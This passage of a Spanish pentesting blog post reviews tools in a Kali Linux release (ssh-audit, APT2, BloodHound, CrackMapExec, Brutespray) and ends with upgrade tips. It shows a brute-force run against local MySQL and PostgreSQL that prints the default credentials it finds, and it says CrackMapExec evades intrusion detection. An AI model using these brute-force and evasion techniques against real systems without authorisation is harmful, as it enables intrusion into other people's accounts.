-n, --no-colors disable colors
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
Para usarlo necesitamos un servidor corriendo SSH, tomamos cómo ejemplo Github. El uso básico es sencillo: ssh-audit $servidor.
[shl@SecHackLabs ~]$ ssh-audit github.com
# general
(gen) banner: SSH-2.0-libssh_0.7.0
(gen) compatibility: OpenSSH 6.5-6.6, Dropbear SSH 2013.62+ (some functionality from 0.52)
(gen) compression: enabled (zlib, zlib@openssh.com)
# key exchange algorithms
(kex) curve25519-sha256@libssh.org -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves
`- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256 -- [warn] using custom size modulus (possibly weak)
`- [info] available since OpenSSH 4.4
(kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm
`- [info] available since OpenSSH 3.9, Dropbear SSH 0.53
(kex) diffie-hellman-group1-sha1 -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
`- [fail] disabled (in client) since OpenSSH 7.0, logjam attack
`- [warn] using small 1024-bit modulus
`- [warn] using weak hashing algorithm
`- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28
# host-key algorithms
(key) ssh-dss -- [fail] removed (in server) and disabled (in client) since OpenSSH 7.0, weak algorithm
`- [warn] using small 1024-bit modulus
`- [warn] using weak random number generator could reveal the key
`- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
(key) ssh-rsa -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
# encryption algorithms (ciphers)
(enc) chacha20-poly1305@openssh.com -- [info] available since OpenSSH 6.5
`- [info] default cipher since OpenSSH 6.9.
(enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr -- [info] available since OpenSSH 3.7
(enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes256-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
`- [warn] using weak cipher mode
`- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.47
(enc) aes192-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
`- [warn] using weak cipher mode
`- [info] available since OpenSSH 2.3.0
(enc) aes128-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
`- [warn] using weak cipher mode
`- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28
(enc) blowfish-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm
`- [fail] disabled since Dropbear SSH 0.53
`- [warn] disabled (in client) since OpenSSH 7.2, legacy algorithm
`- [warn] using weak cipher mode
`- [warn] using small 64-bit block size
`- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28
# message authentication code algorithms
(mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode
`- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode
`- [warn] using weak hashing algorithm
`- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
# algorithm recommendations (for OpenSSH 6.5)
(rec) -ecdh-sha2-nistp521 -- kex algorithm to remove
(rec) -ecdh-sha2-nistp384 -- kex algorithm to remove
(rec) -ecdh-sha2-nistp256 -- kex algorithm to remove
(rec) -diffie-hellman-group1-sha1 -- kex algorithm to remove
(rec) -diffie-hellman-group14-sha1 -- kex algorithm to remove
(rec) -ssh-dss -- key algorithm to remove
(rec) +ssh-ed25519 -- key algorithm to append
(rec) -aes192-cbc -- enc algorithm to remove
(rec) -aes128-cbc -- enc algorithm to remove
(rec) -blowfish-cbc -- enc algorithm to remove
(rec) -aes256-cbc -- enc algorithm to remove
(rec) +aes128-gcm@openssh.com -- enc algorithm to append
(rec) +aes256-gcm@openssh.com -- enc algorithm to append
(rec) -hmac-sha2-512 -- mac algorithm to remove
(rec) -hmac-sha1 -- mac algorithm to remove
(rec) -hmac-sha2-256 -- mac algorithm to remove
(rec) +hmac-sha2-256-etm@openssh.com -- mac algorithm to append
(rec) +hmac-sha2-512-etm@openssh.com -- mac algorithm to append
(rec) +umac-128-etm@openssh.com -- mac algorithm to append
Esta herramienta es bastante útil si queremos explotar fallos SSH en versiones antiguas de software instalado, si queremos una información más detallada basta con ejecutar: ssh-audit -l info $servidor.
4. APT2 (Automated Penetration Tool): APT2, es una herramienta diseñada para realizar diferentes tipos de escaneos utilizando Nmap o bien, importar resultados generados por Nexpose, Nessus o Nmap.Los resultados y reportes son generados en formato HTML para que sean más comprensibles al usuario final.
APT2 ha sido probado hasta el nomento en sistemas GNU/Linux solamente, para que se ejecute su módulo principal necesitamos tener instalada la librería python2-nmap. Si deseamos un escaner más robusto y con más características necesitamos instalar las siguientes dependencias: convert, dirb, hydra, java, john, ldapsearch, msfconsole, nmap, nmblookup, phantomjs, responder, rpcclient, secretsdump.py, smbclient, snmpwalk, sslscan y xwd.
Su configuración puede ser modificada, lo que hace que sea muy sencilla y fácil de adaptar a nuestras necesidades, es archivo de configuración está en /usr/share/apt2/misc/default.cfg, o bien en el directorio /misc dentro de la instlación o descarga de APT2.
¿Que podemos realizar con APT2?
* Identificar servicios y sistemas operativos.
* Tomas capturas de pantalla de aplicaiones web, VNC, X11, etc.
* Analizar servicios FTP y archivos compartidos.
* Lanzar ataques de fuerza bruta.
* Lanzar módulos de metasploit.
* Desencriptar hashes usando Jhon The Ripper/Hashcat.
A continuación un vídeo demostrativo sobre el uso y lo que se puede lograr con APT2.
5.BloodHunt: Es una herramienta que usa la teoría de los gráficos para identificar y revelar rutas no deseadas dentro de un entorno de Active Directory, las cuales pueden ser usadas por un atacante para obtener accesos no autorizados o bien por el administrador de un Active Directory para corregir los fallos. BloodHunt es una aplicación web JavaScript de una sola página, basada en Linkurious,compilada con Electron y con una base de datos Neo4j la cual es conectada mediante PowerShell. Si deseas más información acerca de BloodHunt la puedes encontrar en su Wiki.
6. CrackMapExec(CME): Es una herramienta de post-explotación que ayuda a automatizar la evaluación de la seguridad en grandes redes con Active Directory. CME sigue el principio "Viviendo de la tierra", es decir, utiliza funciones y protocoloes propios de Active Directory para funcionar lo que le permite evadir la mayoría de IDS (Sistema de deteccion de intrusos)/IPS y medidas de seguridad implementadas normalmente.
Inicialmente fue diseñada para realizar ataques pero puede ser usada por auditores/administradores para analizar sus redes y corregir fallos. CME facilita
el uso de PowerSploit, una herramienta que utiliza funciones propias de PowerShell para realizar técnicas de ataque y explotación. Podemos encontrar más acerca de CME en su wiki.
7. Dbeaver: Es un cliente para el manejo de bases de datos que soporta los muchos tipos de bases de datos entre ellos: MySQL, PostgreSQL, MariaDB, SQLite, Oracle, DB2, SQL Server, Sybase, MS Access, Teradata, Firebird, Derby, etc. Especial para el manejo de servidores o laboratorios propios que deseemos crear para realizar pruebas de pentesting.
8. Brutespray: Brutespray es una herramienta que funciona de la siguiente manera: Realiza un escaneo con Nmap y de acuerdo a sus resultados comprueba contraseñas y usuarios por defecto en servicios encontrados usando el cracker de contraseñas Medusa. A continuación dejaré la salida por terminal de brutespray para que entiendan el funcionamiento de esta herramienta.
[shl@SecHackLabs ~]$ nmap localhost -oG test.gnmap
Starting Nmap 7.60 ( https://nmap.org ) at 2017-09-26 23:24 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000037s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
3306/tcp open mysql
5432/tcp open postgresql
9050/tcp open tor-socks
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
[shl@SecHackLabs ~]$ less test.gnmap
[shl@SecHackLabs ~]$ sudo brutespray --file /home/shl/test.gnmap --threads 5 --hosts 5
brutespray.py v1.5.2
Created by: Shane Young/@x90skysn3k && Jacob Robles/@shellfail
Inspired by: Leon Johnson/@sho-luv
Credit to Medusa: JoMo-Kun / Foofus Networks <jmk@foofus.net>
Starting to brute, please make sure to use the right amount of threads(-t) and parallel hosts(-T)... \
Brute-Forcing...
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 1 complete) Password: password (1 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 1 complete) Password: admin (2 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 1 complete) Password: admin (1 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 1 complete) Password: root (2 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 1 complete) Password: toor (3 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 2, 2 complete) Password: root (4 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 2 complete) Password: toor (3 of 4 complete)
ACCOUNT CHECK: [mysql] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 2, 2 complete) Password: password (4 of 4 complete)
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: Password1 (1 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: toor (2 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: password (3 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: root (4 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: password1 (5 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: password123 (6 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: Password123 (7 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: postgres (1 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: root (1 of 3, 1 complete) Password: postgres (8 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: root (2 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: toor (3 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: Password1 (4 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: password (5 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 1 complete) Password: password1 (6 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 2 complete) Password: Password123 (7 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: admin (2 of 3, 2 complete) Password: password123 (8 of 8 complete)
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 2 complete) Password: postgres (1 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: postgres [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 3 complete) Password: toor (2 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: toor [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 4 complete) Password: Password1 (3 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: Password1 [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 5 complete) Password: root (4 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: root [SUCCESS]
ACCOUNT CHECK: [postgres] Host: 127.0.0.1 (1 of 1, 0 complete) User: postgres (3 of 3, 6 complete) Password: password (5 of 8 complete)
ACCOUNT FOUND: [postgres] Host: 127.0.0.1 User: postgres Password: password [SUCCESS]
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
Recomendaciones.
1. A pesar de que Kali Linux es una distribución que tomó el modelo rolling-release, aún no se acopla en su totalidad a dicho modelo y por lo tanto las grandes actualizaciones (entre versiones) terminan con paquetes y/o tuberías rotas, lo más recomendable es que hagas un backup de tus datos y reinstales la distribución desde la ISO nueva.
2. Si aún conociendo los riesgos anteriores deseas no reinstalar, BAJO NINGÚN MOTIVO ejecutes directamente el apt update && apt-dist-upgrade, debido a que muchas de las nuevas librerías y/o paquetes dependen de otras nuevas es MUY RECOMENDABLE ejecutar el apt upgrade antes de pasar a la siguiente versión.
3. Si reinstalas Kali Linux (O cualquier otra distribución) siempre debes dejar al menos la carpeta /home/$user por fuera del disco root, es decir, en una partición aparte. De este modo evitas tener que realizar backups fuera de la unidad o tener que volver a descargar archivos.
4. Existe una distribución de Hacking que es modelo Rolling-release por naturaleza: BlackArch. ¡Anímate a probarla! Security Hack Labs la recomienda.
5. Otra opción es que utilices la reconocida y pretigiosa distribución ArchLinux cómo una distribución de hacking, aquí te enseñamos cómo hacerlo.
6. Si deseas conocer cual versión de Kali Linux estás usando luego de actualizar, basta con que escribas el comando: lsb_release -a.
Con esto finalizamos esta publicación la cual esperamos que haya sido de su agrado. Si tienen dudas, recomendaciones sobre nuevos post o cualquier mensaje, pueden dejarlo en los comentarios.